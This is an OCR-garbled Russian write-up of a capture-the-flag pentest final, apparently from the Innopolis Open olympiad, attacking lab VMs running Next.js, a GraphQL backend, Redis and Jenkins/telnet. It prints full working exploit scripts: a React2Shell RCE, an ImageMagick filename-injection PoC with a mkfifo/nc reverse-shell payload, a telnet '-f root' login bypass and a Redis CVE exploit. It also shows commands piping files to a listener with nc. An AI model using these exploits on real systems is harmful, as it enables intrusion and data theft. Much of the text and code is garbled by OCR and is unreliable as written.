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BTopoii Typ 3aKNOYUTENIbHOrO 3Tana

1. O6bwume cBegeHun

e 1nNTeNbHOCTb: 6 Yacos.

e ®opmat: B3nom nHopactpyktypsol (Pentest) c nocneayowmm coctaBneHmem otyeTa.

2. IHdpacTpyKTypa 1 JocTyn

® YyacTHMKam npenocTaBnseTca AOCTyn K ABYM BMPTYasibHbIM MalwKWHaAM (UeneBbiM
XOCTaMm).

e [1nA HaYaNbHOrO AOCTYNa BblAAIOTCA YYETHbIE AaHHbIE (NOrMH/Naponsb).

e YnpaBneHne mawunHamu (NoAKNOYEHWe, nepesarpyska) U MOHUTOPUHI PENTUHTrA
OCYLLECTBNAKOTCA Yepes egMHYO NNaTGOPMy COPEBHOBAHMA.

3. 3aga4a y4aCTHMUKOB

e [lpoBECTM TECTUPOBAHWE HA MPOHMKHOBEHME, NONYYUTb NPUBUNETMPOBAHHbIN AOCTYN K
cucTeMam.

e O6Hapy*nTb 1 n3eneyb 10 dpnaros, pasmeLLeHHbIX Ha BUPTYya/ibHbIX MalLUUHAX.

e dnarn moryT pacnonaraTbca B ¢aiiiax Uan nepemMeHHbIX OKpyKeHua. dopmat ¢pnaros
obecneynBaeT Ux OAHO3HAYHYIO NAEHTUPUKALMIO.

* PacnpegeneHune secos ¢naros: paarv ypoBHsA cynepnosib3oBaTena (root) cToaT Aopoke
No/ab30BaTe/IbCKOro ypoBHA (user). TouHOe pacnonoxkeHune ¢naroB Ha MallMHAX 3apaHee
HEW3BECTHO.

4. Cuctema OUEHKMU

e bannbl 32 pnarn: HAYUCAAOTCA COrNacHo Becy dpaara MUHYC WTPad No BPEMEHMU.

e BpemeHHOM wTpad: MCcnonb3yetrca AMHAMMYECKAA CUCTEMA OLLEHKM. 33 KaXKayh
MUWHYTY, NpOLWeALWY C Ha4ya/la COPeBHOBAHMA A0 MOMEHTA caayvn ¢niara, U3 CTOMMOCTH
¢dnara BblunTaeTcs GMKCMPOBAHHOE KOANYECTBO 6annos.

* Torosas oueHKa: CyMMapHbIi cyeT KoHBepTUpyetca B 10-6annbHyto WKany.

5. OTyeTHOCTb

Momumo cpaum ¢naroB HeobxoaAMMO nNpenocTaBUTb OTYET O TECTUPOBAHMKU MO
yTBEPKAEHHOMY WabnoHy. OTYeT AONKEH COAEPKATb:

* PazBeakKa (Reconnaissance): Onpegenenune rpaHuL, TECTUPOBAHMUA, KapTorpadua ceTu.
* [epeuncnenune (Enumeration): AHanM3 aKTUBHbIX CEPBUCOB M MNOPTOB.

e Skcnnyatauma (Exploitation): OnncaHMe HaMAeHHbIX YA3BMMOCTEW, BEKTOPOB aTak,
YPOBHA KPUTUYHOCTU U UCMONb30BAHHbIX SKCNI0MUTOB.

e [lokasaTtenbcTtBa (PoC): CKpMHLWOTbI, NONyYeHHble dnarn, AoKa3aTeNbCTBA NONYYEHUA
[ocTyna.

e PekomeHgauumn: Mepbl Mo yCTPAHEHUIO YA3BUMOCTEN (MUTUraLMA/NaTunHr).
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3apaHuA BTOPOro Typa 3aK/Nl0UMTEeNbHOro 3Tana

VM 1 (xoct BHyTpu LAN)
3aKpenuBLINCL Ha OAHOM M3 MaWMH VM2, MOXHO OblI0 HayaTb CKAHMPOBATb CETb.

Hanpumep, nmap ycTaHoBANEH B jenkins-KOHTeHepe. 3anyckaem
nmap 192.168.123.0/24

HawAuM Haw ip-agpec (192.168.123.14)

Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-22 07:53 UTC
Nmap scan report for gateway (192.168.123.1)

Host is up (0.00049s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

53/tcp closed domain

Nmap scan report for 192.168.123.2
Host is up (0.00041s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

53/tcp closed domain

Nmap scan report for fhmgad2p293v52unvlj5.auto.internal (192.168.123.14)
Host is up (0.00036s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap scan report for fhmtop56p587v1579617.auto.internal (192.168.123.34)
Host is up (0.000016s latency).
Not shown: 996 closed ports

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet

8080/tcp open http-proxy
50000/tcp open ibm-db2

Nmap done: 256 IP addresses (4 hosts up) scanned in 9.48 seconds

dnar 1 - REACT CVE RCE (root)
3axoaum Ha 80 nopTt
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G b o nipanEzIEEIEEe L"" &

Cosmic.com Social Network Lo Rigiitar

gether

Welcome to Cosmic Social Network! (oa ) (“mecsten )

Share your cosmic ¢ with the world.

Recent Posts

First Post Secret Data

by ey by a

Hello World! This is sensitive information

0 comments 0 likes

370 nonynsapHbin framework Next.js u React. MoXHO BOCNO/1b30BaTbCA CKaHEPOM Ha

HepasHtoto CVE ¢ RCE (CVE-2025-55182 & CVE-2025-66478)

https://github.com/assetnote/react2shell-scanner

python scanner.py -u 192.168.123.14:80
brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)

[*] Timeout: 10s

[*] Using RCE PoC check

[!] SSL verification disabled

[ERROR] 192.168.123.14:80 - SSL
HTTPSConnectionPool (host="'192.168.123.14", port=80) : Max
exceeded with url: / (Caused by SSLError (SSLError (1,

WRONG VERSION NUMBER] wrong version number ( ssl.c:1129)")))

Total hosts scanned: 1
Vulnerable: O

Error:
retries
'[SSL:
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Not wvulnerable: 1
Errors: O

Mposepaem akcnaout https://github.com/l4rm4nd/CVE-2025-55182

#!/usr/bin/env python3

React2Shell (CVE-2025-55182 / CVE-2025-66478) — skcnayaraums RSC RCE.
Payload format: https://github.com/l4rm4nd/CVE-2025-55182

POST / ¢ multipart/form-data (CRLF o6sa3aTesibHO) .

import sys

import urllib.request

import urllib.error

BASE URL = (sys.argv[1l] if len(sys.argv) > 1 else
"http://localhost") .rstrip("/")
CMD = sys.argv[2] if len(sys.argv) > 2 else "id"

# Konm Ha cepBepe; BrBOI nonanét B digest B oTBeTe

PREFIX = f"var
res=process.mainModule.require ('child process') .execSync('{CMD}"', {{'t1i
meout':5000}}) .toString () .trim() ;;throw Object.assign (new

Error ('NEXT REDIRECT'), {{digest: S${{res}} }});"

BOUNDARY = "----WebKitFormBoundaryx8j020oVc6SWP3Sad"
CRLF = b"\r\n"

# Part 0 — JSON ¢ prefix (mporotun + xon)

part0 json = '{{"then": "$1: proto :then", "status": "resolved model",
"reason": -1, "value": "L{N\"then\\":\\"$B1337\\"}}", " response":
{{" prefix": "{0}", " chunks™": "sQ2", " formData": {{"get":

"S1:constructor:constructor"}}}}}}'.format (PREFIX)

body = (
b"--" + BOUNDARY.encode () + CRLF +
b'Content-Disposition: form-data; name="0"' + CRLF + CRLFEF +
part0 json.encode ("utf-8") + CRLF +
b"--" + BOUNDARY.encode() + CRLF +
b'Content-Disposition: form-data; name="1"' + CRLF + CRLF +
b'"$@0"' + CRLF +

b"--" + BOUNDARY.encode () + CRLF +
b'Content-Disposition: form-data; name="2"' + CRLF + CRLF +
b"[]1" + CRLF +

b"--" + BOUNDARY.encode () + b"--" + CRLF
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req = urllib.request.Request (

BASE URL + "/",

data=body,

method="POST",

headers={
"User-Agent": "Mozilla/5.0 Assetnote/1.0.0",
"Next-Action": "x",
"X-Nextjs—-Request-Id": "b5dce965",
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"X-Nextjs-Html-Request-Id": "SSTMXm70J gONcx6jpQt9o",

}I

print (£"[*] Target: {BASE URL}")
print (£"[*] Command: {CMD}")
print ("[*] Sending React2Shell payload (POST /)...")

try:
with urllib.request.urlopen(req, timeout=15) as r:
resp body = r.read() .decode ("utf-8", errors="replace")
status = r.status
except urllib.error.HTTPError as e:
status = e.code
resp body = e.read() .decode ("utf-8", errors="replace")

print (f"\n[*] HTTP Status: {status}")

if '"digest"' in resp body:
import re
m = re.search(r'"digest":" ([""]*)"', resp body)
if m:
print (" [+] RCE output (digest):")
print (m.group (1))
else:
print (" [+] digest found, snippet:", resp body[:400])
else:
print ("Response (first 600 chars):")
print (resp body[:600])

PesynbtaT

python3 exploit-react2shell.py http://192.168.123.34/ 'id'
[*] Target: http://192.168.123.34

[*] Command: id

[*] Sending React2Shell payload (POST /)...
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[*] HTTP Status: 500

[+] RCE output (digest):

uid=0 (root) gid=0 (root)
groups=0 (root), 0 (root),1(bin), 2 (daemon),3(sys), 4 (adm), 6 (disk), 10 (wheel
), 11 (floppy),20 (dialout),26 (tape), 27 (video)

MOXem NoAHATbL peBepcC Wwenn n nonactb BHYTPb KOHTeﬁHepa
python3 exploit-react2shell.py  http://192.168.123.34/ '1s | nc
10.60.23.20 9000'

Nnwn BbiBOgMM dnar

python3 exploit-react2shell.py http://192.168.123.34/ 'cat flag.txt'
[*] Target: http://192.168.123.34/

[*] Command: cat flag.txt

[*] Sending React2Shell payload (POST /)...

[*] HTTP Status: 500
[+] RCE output (digest):
CTF{a830d7cfdf443bd470aec9ceeebe243eb224c460}

[lanee MOXHO MATU U CKAaHMPOBATb KOHTEMHEPHYIO CeTb

®nar 2 - RCE B backend (root)

B koHTelHepe ¢ frontend Buaum url backend

printenv

NODE_VERSION=2 0.20.0
HOSTNAME=dfb159¢c3b039

YARN VERSION=1.22.22

SHLVL=1

HOME=/root

OLDPWD=/app/app

BACKEND URL=http://backend:4000/graphqgl
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app

NODE ENV=development

MorKem XoauTb Ha Hero Mbo Yepes nopt 80 (nginx), AMb6O Hanpsmyto.
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{ Doca

1 { _schoma { metotionType { Fields { nams } 3 3 } {

i
*fiome ogLn
h
[
nane” s " legout”
T
{
*name": “refreshToken”
I
“nome”: "recoverPossmord”
o
i
“romet s "updateProf( e’
b
{
*name”: “uploadProfilePhato
)
3
“nome": “createPost
b
{
“neme”:: “wpdatePost
}i
L
*nome*:: “geletePost
by
1
"name”: "likePost”
Ty
{
"name”: "unlikePost
1
GUERY VARIABLES {

Tam ecTb MeToZ4, Ha NoJly4eHne KOHTPObHOro Bonpoca no email nosb3oBaTens. noyta

admin@cosmic.com (bepeTca U3 nocTa Ha canTe)

}
+ query {

__schema {

5
{

v queryType { "name": "search",
4y fields { "description": null,
- name "args":

description {g -
args { ) query
name N
type { : null,
name "kind": "NON_NULL™
kind }
: } }
t 1,
type { "type": {
name "name" : null,
kind "kind": "NON_NULL"
i } 1
} 1,
1 {
} "name": "getSecretQuestion”,
} "description": null,
"args™: [
"name": "email",
"type": {

QUERY VARIABLES

shiQL > Prattify

query {

Marga Copy History

petSecretfuestionCemail: “admin@cosmic,com")

"name": null,
"kind": "NON_NULL"

"name": null,
"kind": "NON_NULL"

"getSecretQuestion”: "What is your favorite star?
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admin :

System Admin

it "

Statistics

0 0

Followers Following

About

Bio:

Cosmic explorer sharing discoveries about stars. Emall; admin@cosmic.com

OTBET sun

NIM60 MOXKHO 6b1/10 NOB6PYTUTL Napoab admin. oH 6611 adminl23

MOXHO Obl/I0 HE BXOAMUTb B agMMHa, a 3aPermMcTpMpoBaThCs.

YA3BMMOCTb ecTb Npu 3arpyske aBatapa (K ntoboi apyroi KapTUHKe) Ha cepsep. Painbl
obpabatbiBatoTca Yepes convert/imagemagick (cxkumatorca n obpesarorca), uma daina
YKa3blBaeTCcA B KaYecTBe apryMeHTa U HUKaK He obpabaTbiBaeTca. 9TO MOXKHO YBUAETb,
Hanpumep, 3arpysms png v NoJy4YuB jpg.

app.use ('/uploads’', express.static(path.join( dirname,
'public/uploads')));

// Configure multer for file uploads
const storage = multer.diskStorage ({
destination: (req, file, cb) => {
cb(null, 'public/uploads/"'")
by

filename: (req, file, cb) => {
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const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() *
1E9)
cb(null, uniqueSuffix + path.extname(file.originalname))
}
1)

const upload = multer ({
storage,
limits: { fileSize: 10 * 1024 * 1024 }, // 10MB
fileFilter: (req, file, cb) => {

const allowedTypes = ['image/jpeg', ‘'image/png', 'image/gif',
'"image/webp']
if (!'allowedTypes.includes (file.mimetype)) {
cb(new Error('Invalid file type. Only images are allowed.'),
false)
} else {

cb(null, true)

}
)

// Post images: save with original filename for ImageMagick processing.

const postImagesDir = path.join(_ dirname, 'public/uploads/post-
images');
if (!fs.existsSync (path.join( dirname, 'public/uploads')))

fs.mkdirSync (path.join( dirname, 'public/uploads'), { recursive: true
})
if ('fs.existsSync (postImagesDir)) fs.mkdirSync (postImagesDir, {
recursive: true });
const postImagesStorage = multer.diskStorage ({
destination: (req, file, cb) => cb(null, postImagesDir),
filename: (req, file, cb) => {
// Intentionally use user-controlled name as-is (no sanitization)
cb(null, file.originalname) ;
}
})
const uploadPostImages = multer ({
storage: postlImagesStorage,
limits: { fileSize: 10 * 1024 * 1024 },
fileFilter: (req, file, cb) => {

const allowed = ['image/Jjpeg’', 'image/png’', 'image/gif"',
'image/webp'];
if (lallowed.includes (file.mimetype)) cb(new Error('Invalid file

type.'), false);
else cb(null, true);
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n cam 06paboTumK

app.post ('/api/upload/post-images', uploadPostImages.array('files', 5),
async (req, res) => {
try {
const user = await getUserFromRequest (req);
if (l!user) return res.status(401).json({ error: 'Not authenticated’

if ('reqg.files || req.files.length === 0) return
res.status (400) .json({ error: 'No files uploaded' });

const imageUrls = [];
const size = 150; // round preview size
const half Math.floor (size / 2);

for (const file of reqg.files) {
const outName = ‘post-${Date.now () }-
$S{Math.random () .toString(36) .slice (2, 9)}.jpg ;
const outPath = path.join( dirname, 'public/uploads', outName);
const inputPath = file.path;

const magickCmd = "magick "S${inputPath}" -resize ${size}x${size}
\\( +clone -fill Dblack -colorize 100% -fill white -draw "circle
${half},${half} ${half},0"™ \\) -compose CopyOpacity -composite -
background white -alpha remove -quality 50 "${outPath}";

const convertCmd = “convert "${inputPath}" -resize ${size}x${size}
\\( +4+clone -fill black -colorize 100% -fill white -draw "circle
${half},${half} ${half},0" \\) -compose CopyOpacity -composite -
background white -alpha remove -quality 50 "${outPath}" ;

console.log (' [post-images] magick cmd (first 300 chars):',

magickCmd.slice (0, 300));

try A

execSync (magickCmd, { shell: true, timeout: 15000 });
} catch () {

execSync (convertCmd, { shell: true, timeout: 15000 });
}
try { fs.unlinkSync(inputPath); } catch () {}
imageUrls.push (' /uploads/${outName} ") ;

res.json({ images: imageUrls });
} catch (error) {
console.error ('Post images upload error:', error);
res.status (500) .json({ error: 'Failed to upload images' });
}
})

Mbl Hanucaam ckpunT ana akcnayataymm (PoC)



.“ YHUBEPCUTET MexayHapoaHasa onmmnunaga «Innopolis Open»
I UHHONOINC no npodunio «MHPopmaLmMoHHaa 6e30nacHOCTLY,
2025/2026 yu. Top,

#!/usr/bin/env python3

PoC: RCE via post-images upload (ImageMagick command injection).
1. Login as admin via GraphQL.

2. Upload file with malicious filename — reverse shell.

lhost: use IP that the *container* can reach (not 127.0.0.1).
Same host: try 172.17.0.1 or host.docker.internal or your LAN IP.
nc -lvp 9000 (listens on 0.0.0.0 by default).

Payload uses mkfifo+nc (no -e) so it works with BusyBox nc in Alpine.
nwan

import argparse

import os

import sys

import io

from typing import Optional

try:
import requests

except ImportError:
print ("pip install requests", file=sys.stderr)
sys.exit (1)

ADMIN EMAIL = "admin@cosmic.com"
ADMIN PASS = "adminl23"

def login(base url: str) -> str:
url = base url.rstrip("/") + "/graphgl”
payload = {

"query": "mutation Login($input: LoginInput!) { login(input:
Sinput) { token user { id } } 1",
"variables": {"input": {"email": ADMIN EMATIL, "password":

ADMIN PASS}},
}
r = requests.post(url, json=payload, timeout=10)
r.ralise for status()
data = r.json()
if "errors" in data:
raise RuntimeError (data["errors"])
token = data.get ("data", {}).get("login", {}).get ("token")
if not token:
raise RuntimeError ("No token in response: " + str(data))
return token
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def upload rce(

base url: str,

token: str,

lhost: str,

lport: int,

image path: Optional[str],

test only: bool,

wget url: Optionall[str],
) —> None:

url = base url.rstrip("/") + "/api/upload/post-images”

# S (cmd) executes INSIDE double quotes in shell. magick
"${inputPath}" - shell evaluates $(...).

# IMPORTANT : multer strips everything before last '/
(path.basename), so NO slashes in payload!

if wget url:

# Encode URL with printf to avoid '/' in filename: \x2f = / \x3a

encoded url = wget url.replace("/", "\\x2f") .replace(":",
"\\x3a")

payload filename = f"$ (wget$ (printfS{IFS}'{encoded url}"')) .png"

print (£"[*] Wget mode: wget URL encoded with printf (no slashes
in filename)")

elif test only:

# No slashes! Writes to CWD (/app). Check: docker compose exec

backend cat /app/pwned.txt

payload filename = 'S (id>pwned.txt) .png'
print ("[*] Test mode: $ (id>pwned.txt) — writes to /app/pwned.txt
(CWD) ")
else:
# Reverse shell via mkfifo — no slashes (relative path 'f' in
CWD)
payload filename = fr$(rmS${{IFS}}-

fS{{IFS}}f;mkfifoS{{IFS}}f;cat${{IFS}}fIshS{{IFS}}-
1|ncS{{IFS}}{lhost}S${{IFS}}{lport}>f) .png'
# Use valid PNG so ImageMagick doesn't fail with IDAT (screenshot.png
next to script or --image)
if image path and os.path.isfile(image path):
with open(image path, "rb") as f:
image data = f.read()
else:
script dir = os.path.dirname (os.path.abspath( file ))
default image = os.path.join(script dir, "screenshot.png")
if os.path.isfile(default image):
with open (default image, "rb") as f:
image data = f.read()
else:
raise FileNotFoundError ("No image file: pass --image PATH
or put screenshot.png next to script")
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headers = {"Authorization": f"Bearer {token}"}
files = {"files": (payload filename, io.BytesIO(image data),
"image/png") }

if wget url:
print ("[*] Uploading file (wget payload in filename)...")
elif test only:
print ("[*] Uploading test file..."™)
else:
print (£"[*] Uploading file with payload (reverse shell ->
{lhost}:{1lport})...")
r = requests.post(url, headers=headers, files=files, timeout=15)
if r.status code != 200:
print (f"[-] Upload failed: {r.status code} ({r.text[:500]}",
file=sys.stderr)
sys.exit (1)
if wget url:

print ("[+] Done. Check vyour HTTP server logs for incoming
request.")
elif test only:
print (" [+] Done. Check: docker compose exec backend cat

/app/pwned. txt")
else:
print (" [+] Upload sent. Listen: nc -lvp %$s" % lport)

def main () :

p = argparse.ArgumentParser (description="PoC RCE via post-images
upload™)

p.add argument ("--target", default="http://localhost:4000",
help="Backend base URL")

p.add argument ("--lhost"™, default=None, help="Your IP (container
must reach it; use 172.17.0.1 or LAN IP if same host)")

p.add argument ("--lport", type=int, default=9000, help="Callback
port (default 9000)")

p.add argument ("--image", default=None, help="Path to wvalid PNG
(default: screenshot.png next to script)")

p.add argument ("--test", action="store true", help="Run 'id >
.../pwned.txt' in container to verify injection")

p.add argument ("--wget", metavar="URL", default=None, help="0One
shot: wget URL -O .../test.sh (e.g. http://10.91.68.24:9000/test.sh)"™)

args = p.parse_args()

if not args.test and not args.wget and not args.lhost:

p.error ("Use --lhost (reverse shell), --wget URL, or —--test")
if args.test:

args.lhost = "127.0.0.1"
if not args.wget:

args.wget = None
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print (£"[*] Target: {args.target}")

print ("[*] Logging in as admin...")

token = login(args.target)

print (" [+] Got token.™)

upload rce(args.target, token, args.lhost, args.lport, args.image,
args.test, args.wget)

if name == " "

main ()

main

3anyckaem netcat Ha 10601 MallMHe (XOTb Ha BHELLHEN) U Lenasemcs. Mbl 3anyCcKanm ¢
host mawmnHbl vm2

W(veny) python exploit_post_images_rce.py --target http://127.0.@.1:8080 --lhost 192.168,123.14
[*] Target: http://127.0.0.1:8082
[*] Logging in as admin...
[+] Got token.
[*] Uploading file with payload (reverse shell -> 192.168.123.14:9000)...
Traceback (most recent call last):
File "/Users
response = conn.getresponse()
File “/Users/menad/ocui2é/tecm-finals/vml/venv/1ib/pythor
httplib_response = super().getresponse()
File "/opt/homebrew/Cellar/pythont3, 13/3.1
response.begin()

1/00u126/teom-Finols/vml/veny/1ib/python3.13/s1te-pa

12/Framenorks/Python . fromework/Versions/3,13/1ib/pythond. 13/http/client.py"”, line 1450, in getresponse

File “/opt/homebrew/Cellar/python23 13/3 13 12/Framevorks/Pythor mennrk/Versions/3,13 b/pythan3. 13/http/client_py", line 336, in begi
version, status, reason =

File “/opt/hom
line = str(s

13.12/Framevarks/Python. fromework/Versions/3.13/11b/python3.13/http/client.py", line 297, in _read_status
1), "is0-8859-1")

File "/or
return self.

enorks/Python. fromework/Versions/3,13/1ib/python3. 13/socket. py", line 719, in readinto

% nc -lvp 2000
Listening on ©.0.0.0 9000
Connection received on 172.19.0.4 40689
id
uid=0(root) gid=@(root) groups=0(root),@(root),1(bin),2(daemon),3(sys),4Cadm),6(disk),10(wheel),11(fl
oppy),20(dialout),26(tape),27(video)
~$ I

Y Bac 6ygeT HEeCKONbKO CeKyHZ A/A BbINOJIHEHMA KOMaHA M bonee cepbesHOro
3aKpensieHns B cUCTEME.

®nar 3 - redis storage (user)
Mbl nonanu B backend cuctemy, MOXHO O3HAKOMMUTbLCA C COAEPHKMUMBIM U YBUAETb, YTO
backend paboTtaet c redis. icnonb3yeT ero Kak 6a3y AaHHbIX. Tam nexuT ewe oanH dnar

/app # 1ls -al
total 316

drwxr-xr-x 1 root root 4096 Feb 22 08:56

drwxr-xr-x 1 root root 4096 Feb 21 22:18 ..

-rTW—Y—--1r—-— 1 root root 23 Feb 21 21:44 .dockerignore
pPrw-r—--r-- 1 root root 0 Feb 22 08:56 £
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-rw-r—--r—- 1 root root 46 Feb 21 20:50 flag.txt
drwxr-xr-x 324 root root 12288 Feb 21 22:15 node modules
—rw-Yr--r-—-— 1 root root 220099 Feb 5 09:48 package-
lock.json

“rw-Yr--r-—-— 1 root root 762 Feb 21 21:44 package.json
drwxr-xr-x 1 root root 4096 Feb 5 07:40 public
-rTw-Yr--r-—- 1 root root 11097 Feb 21 21:52 redis-store.js
—-rw-r--r—- 1 root root 77 Feb 21 20:50 redis creds.txt
“rw-Yr--r-—-— 1 root root 34536 Feb 21 21:56 server.js
drwxr-xr-x 2 root root 4096 Feb 21 20:55 uploads

/app # cat flag.txt
CTF{63a8e1975e1803d7£474562b67ef£3£fd40a6£fc82c}
/app # cat redis creds.txt

# Internal Redis
REDIS HOST=redis
REDIS_PORT=6379

(only backend can connect)

cTaBum redis 1 nwe pnar

/app # apk add --no-cache redis

fetch https://dl-cdn.alpinelinux.org/alpine/v3.21/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.21/community/x86_64/APKINDEX.tar.gz
(1/1) Installing redis (7.2.11-r@)

Executing redis-7.2.11-r@.pre-install

Executing redis-7.2.11-r@.post-install

Executing busybox-1.37.0-r12.trigger

OK: 34 MiB in 47 packages

/app # redis-cli redis

Could not connect to Redis at 127.0.2.1:6379: Connection refused

/app # redis-cli -h redis

redis:6379> keys *

1) Muser:2"

2) "group:1"

3) "groups:seq"

4) "user:1"

5) "comments:seq"

6) "session:eyJhbGceiOiJIUzIINIISINRScCI6IkpXVCI9.eyl1lc2VySWQi01IxIiwiZWlhawwi0OiJhZG1lpbkBjb3NtaWMuY29
+TiwidXN1emShbWU101JhZG1lpbiIsImLhdCIEMT c3MTcIMDA30CWLZXhwI joxNzcyMzURODc4 Q. mTE0jh@8IORtYEQD-2gRPzJ4y
340F fnfOssjMLdBok"

7) "users:ids"

8) "posts:seq"

9) "flag"

10) "session:eylhbGci0ilIUzIINiIsInRS5cCI6IkpXVCI9.eyllc2VySWQi01IxIiwiZWlhaWwi01JhZG1lpbkBjb3NtaWMuY29
tIiwidXNLcmShbWUi01JhZG1lpbiIsImLhdCIGMT c3MTcxM]YyNywiZXhwljoxNzcyMzE3NDI3FQ. 1vCVrZgRp0cYD93GhbQ7Cxz7s
JSaxL1VM4NSqCdB78U"

11) "users:seq"

12) "session:eylhbGci0ilIUzIINiIsInRScCI6IkpXVCI9.eyllc2VySWQi01IxIiwiZWlhaWwi0iJhZG1pbkBjb3NtaWMuY29
tIiwidXNLcmShbWU101iJhZGlpbiIsImlhdCIGMTc3MTcIMDUZMSwWiZXhwIjoxNzcyMzUIMzYxfQ. BauZ55rLz3nwf8gtFeKykRPgY
c5arKlrfAvdInHd19g”

13) "post:1"

14) "posts:ids"

15) "session:user:1"

16) "post:2"

17) "sessions:tokens”

18) "groups:ids"

redis:6379> get flag

"CTF{766934a8bdf6d8b7ff21al678df3086aa917700d}"

redis:6379> I
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®nar 4 - CVE RCE Redis (root)

[laBante nocMoTpMm Ha Bepcuto Redis 1 noimem, 4YTo eLLe C HUM MOXKHO CAenaTb
CVE-2025-49844 (RediShell) Proof of Concept

options:
-h, --help show this help message and exit
-H HOST, --host HOST Redis host (default: localhost)
-p PORT, --port PORT Redis port (default: 6379)
-a AUTH, --auth AUTH Redis password (if required)
-m {check,basic,sandbox,advanced,all}, --mode {check,basic,sandbox,advanced,all]
Exploit mode (default: all)

Use responsibly and only on systems you own or have permission to test!
((venv) ) /CVE-2025-49844 # python splot.py -H redis

[+] Connected successfully!
[i] Redis Version: 7.2.0

[+] Lua scripting is enabled!

[1] Detected Redis version: 7.2.0
[!'] VULNERABLE: This version is affected by (VE-2025-49844
[!] Update to the latest patched version immediately!

[+] Lua script executed: UAF pattern executed

[*] Testing os.execute...

Mo Bepcun NOHATHO, YTO OHa noagepxeHa CVE-2025-49844
https://github.com/raminfp/redis _exploit/tree/main - BOT npumep Takoro ckaHa

a BoT un PoC https://github.com/YuriO8loveElaina/CVE-2025-49844 git



https://github.com/raminfp/redis_exploit/tree/main
https://github.com/Yuri08loveElaina/CVE-2025-49844.git
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(Cvenv) ) /CVE-2025-49844 # 1s
LICENSE redis_exploit.py splot.py
README .md requirements.txt
(Cvenv) ) /CVE-2025-49844 # ip r s
default via 172.19.0.1 dev ethl
172.18.0.0/16 dev eth@ scope link src 172.18.0.2
172.19.0.0/16 dev ethl scope link src 172.19.0.4
(Cvenv) ) /(VE-2025-49844 # pwd
/CVE-2025-49844
(Cvenv) ) /CVE-2025-49844 # git remote show origin
* remote origin
Fetch URL: https://github.com/Yuri@8loveElaina/CVE-2025-49844.git
Push URL: https://github.com/Yuri@8loveElaina/CVE-2025-49844.git
HEAD branch: main
Remote branches:
Yuri@8loveElaina-patch-1 tracked
main tracked
Local branch configured for 'git pull':
main merges with remote main
Local ref configured for 'git push':
main pushes to main (up to date)
((venv) ) /CVE-2025-49844 # python redis_exploit.py -H redis -1 192.168.123.14 -p 9000'

cat /flag.txt | nc 192.168.123.14 9000
# TeM BpeMeHeM Ha TOM CTOpPOHE
Listening on 0.0.0.0 9000

Connection received on 172.19.0.4 36893
CTF {aceed2bcad42743183b046695bf0c9b5b624831a7}

VM 2 (Touka Bxopga)
MpoCKaHMpPyeM MaLUULLIHY C MOMOLLbIO NMap

Host is up (0.031ls latency).
Not shown: 994 closed tcp ports (reset)

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet

2323/tcp filtered 3d-nfsd
5555/tcp filtered freeciv
8080/tcp open http-proxy
50000/tcp open ibm-db2

Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds
Y Hac oTKpbITbI 22, 23, 8080, 50000
MpocKkaHupyem nx 6onee MHTEHCUBHO
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22/tcp open ssh OpenSSH 9.6pl Ubuntu 3ubuntul3.l14 (Ubuntu Linux;
protocol 2.0)

| ssh-hostkey:

| 256 80:bf:ee:56:ef:70:8a:d6:fc:7c:47:al:a1:11:80:£f4 (ECDSA)

| 256 2c:69:ef:ce:84:f7:6b:cf:df:58:b6:e6:64:£d:76:71 (ED25519)
23/tcp open telnet Openwall GNU/*/Linux telnetd

8080/tcp open http Jetty 9.4.43.v20210629

| http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-server-header: Jetty(9.4.43.v20210629)

| http-robots.txt: 1 disallowed entry

|/

50000/tcp open http Jenkins httpd 2.319.1

| http-title: Site doesn't have a title (text/plain;charset=UTF-8) .
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Ha 8080, 50000 paboTaeT Jenkins.

=

Welcome to Jenkins!

Ho B Be6-uHTepdelice Ha 8080 HNUYErO NHTEPECHOIO HET.
Ha 23 nopty Bugum apesHuii telnet, nonpobyem ¢ HUM 4TO-HNBYAb caenaTo.
Moakntoyaemca KOMaHOOoM telnet -a <ip> 23
telnet -a
Trying
Connected to
Escape character is '"*]"'.

Linux 6.8.0-90-generic (e9ba308cd022) (pts/0)

Password:
Login timed out after 60 seconds.
Connection closed by foreign host.
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Mbl nonyyunmn Bepcuto telnet Linux 6.8.0-90-generic, NOCMOTPUM K KaKUM
YA3BMMOCTAM OHa NoaBep)KeHa.

telnet Linux 6.8.0-90 CVE

g : CVE-2025-38352
veen hi

Mo BTOpOW CCbI/IKE HAaXOAUM YSI3BMMOCTb, KOTOpPasA No3BOIAET 060MTH ayTeEHTUDUKALMIO
M cpasy 3ainTtu nog root'a. Haxoaum POC

env USER="-f root" telnet -a <ip> 23
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env USER="—-f root" telnet -a
Trying
Connected to
Escape character is '"~]'.

Linux 6.8.0-90-generic (e9ba308cd022) (pts/0)
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-90-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@e9ba308cd022:~# id
uid=0(root) gid=0(root) groups=0(root)
root@e9ba308cd022: ~# |

Haxogum nepBbi Haw ¢nar B AOMALIHEN AUPEKTOPUM U NMPOAOKUM MUCCAeLoBaTb

MaLLMHY.

CTF{0b7b3651712d0021ef6b366e88687833045a0817}
root@e9ba308cdB22:~# 1ls -la

root root 4096 Feb 17215

root root U096 Feb 16:31

root root 3106 Dec 2019 .bashrc

root root 4096 Feb 17:15

root root 161 Dec 2019 .profile

root root 166 Feb 14:34 .wget-hsts

root root 45 Feb 18:07 flag.txt

~# cat flag.txt

